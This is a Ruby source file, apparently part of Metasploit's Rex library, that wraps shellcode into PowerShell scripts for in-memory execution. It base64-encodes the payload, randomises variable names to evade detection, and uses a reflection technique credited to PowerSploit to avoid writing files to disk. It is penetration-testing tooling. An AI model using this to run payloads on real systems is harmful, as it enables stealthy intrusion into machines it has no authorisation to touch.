79 lines
2.6 KiB
Ruby
79 lines
2.6 KiB
Ruby
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# -*- coding: binary -*-
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require 'rex/random_identifier_generator'
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module Rex
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module Powershell
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module Payload
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def self.read_replace_script_template(template_path, filename, hash_sub)
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template_pathname = File.join(template_path, filename)
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template = ''
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File.open(template_pathname, "rb") {|f| template = f.read}
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template % hash_sub
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end
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def self.to_win32pe_psh_net(template_path, code)
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rig = Rex::RandomIdentifierGenerator.new()
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rig.init_var(:var_code)
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rig.init_var(:var_kernel32)
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rig.init_var(:var_baseaddr)
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rig.init_var(:var_threadHandle)
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rig.init_var(:var_output)
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rig.init_var(:var_codeProvider)
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rig.init_var(:var_compileParams)
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rig.init_var(:var_syscode)
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rig.init_var(:var_temp)
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hash_sub = rig.to_h
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hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
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read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
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end
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def self.to_win32pe_psh(template_path, code)
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hash_sub = {}
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hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
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hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
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hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
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hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
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hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
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hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
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hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
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hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
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read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
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end
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#
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# Reflection technique prevents the temporary .cs file being created for the .NET compiler
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# Tweaked by shellster
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# Originally from PowerSploit
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#
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def self.to_win32pe_psh_reflection(template_path, code)
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# Intialize rig and value names
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rig = Rex::RandomIdentifierGenerator.new()
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rig.init_var(:func_get_proc_address)
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rig.init_var(:func_get_delegate_type)
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rig.init_var(:var_code)
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rig.init_var(:var_module)
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rig.init_var(:var_procedure)
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rig.init_var(:var_unsafe_native_methods)
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rig.init_var(:var_parameters)
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rig.init_var(:var_return_type)
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rig.init_var(:var_type_builder)
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rig.init_var(:var_buffer)
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rig.init_var(:var_hthread)
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hash_sub = rig.to_h
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hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
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read_replace_script_template(template_path,
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"to_mem_pshreflection.ps1.template",
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hash_sub).gsub(/(?<!\r)\n/, "\r\n")
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end
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end
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end
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end
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